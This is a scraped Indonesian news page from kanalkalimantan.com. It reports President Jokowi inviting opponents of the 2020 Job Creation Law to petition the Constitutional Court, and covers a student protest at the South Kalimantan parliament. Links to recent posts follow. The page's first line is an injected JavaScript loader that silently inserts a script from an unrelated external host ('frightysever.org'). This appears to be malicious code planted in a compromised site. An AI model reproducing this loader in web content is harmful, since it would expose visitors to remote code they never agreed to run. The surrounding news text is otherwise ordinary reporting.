(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Jokowi: Kalau Masih Ada yang Tidak Puas dan Menolak Silakan ke MK


KANALKALIMANTAN.COM, JAKARTA – Presiden Joko Widodo mempersilakan pihak manapun untuk mengajukan uji materi ke Mahkamah Konstitusi jika yang tidak puas dengan Undang-Undang Cipta Kerja.

Jokowi dalam keterangan pers secara virtual terkait UU Cipta Kerja dari Istana Kepresidenan Bogor, Jumat (9/10/2020), menegaskan bahwa sistem ketatanegaraan di negeri ini memang menggariskan seperti itu. “Jadi kalau masih ada yang tidak puas dan menolak silakan ke MK,” katanya.

Jokowi mengatakan telah memimpin rapat terbatas secara virtual pada Jumat (9/10/2020) dengan jajaran kabinet untuk membahas UU Cipta Kerja yang mendatangkan polemik di kalangan masyarakat setelah disahkan.

Jokowi mencatat setidaknya terdapat 11 klaster dalam UU tersebut yang secara umum bertujuan untuk mempercepat transformasi ekonomi. UU Cipta Kerja, di antaranya mengatur urusan penyederhanaan perizinan, investasi ketenagakerjaan, pengadaan lahan kemudahan berusaha riset dan inovasi administrasi, kemudahan dan perlindungan UMKM, investasi dan proyek pemerintah, serta urusan kawasan ekonomi.

Presiden menegaskan Indonesia membutuhkan UU Cipta Kerja untuk membuka peluang lapangan kerja yang lebih luas. Sementara itu, penolakan atas UU Cipta Kerja berlangsung di berabgai daerah. Termasuk juga Kalimantan Selatan.

Gelombang massa aksi tumpah ke gedung DPRD Kalsel menuntut pencabutan UU Omnibus Law Cipta Kerja akhirnya ditemuai Ketua DPRD Kalsel Supian HK bersama Plt Gubernur Kalsel Rudy Resnawan, Kamis (8/10/2020) siang.

Pendemo menuntut perwakilan dewan mengirim surat penolakan atas UU Cipataker secara langsung ke Jakarta bertemu Jokowi! Hal tersebut setelah pendemo berhasil bertemu dengan pimpinan dewan dan Rudy Resnawan yang saat itu sedang berada di DPRD Kalsel.

Pada kesempatan tersebut, Koordinator BEM Se Kalsel, Ahdiat Zairullah menyodorkan surat pernyatakan penolakan untuk ditandatangani oleh Ketua DPRD Kalsel dan Plt Gubernur. Melalui negosiasi, surat tersebut akhirnya ditandatangani pihak Plt Gubernur Kalsel Rudy Resnawan, Ketua DPRD Kalsel Supian HK, dan wakil pendemo oleh Ahdiat Zairullah.

Mereka menyatakan kesepahaman dengan mahasiswa agar pemerintah menerbitkan Perppu pegganti Omnibus Law Ciptaker. (kanalkalimantan.com/putra)

Editor: Cell


Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

8 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

8 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

10 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

11 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

12 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

12 jam ago

This website uses cookies.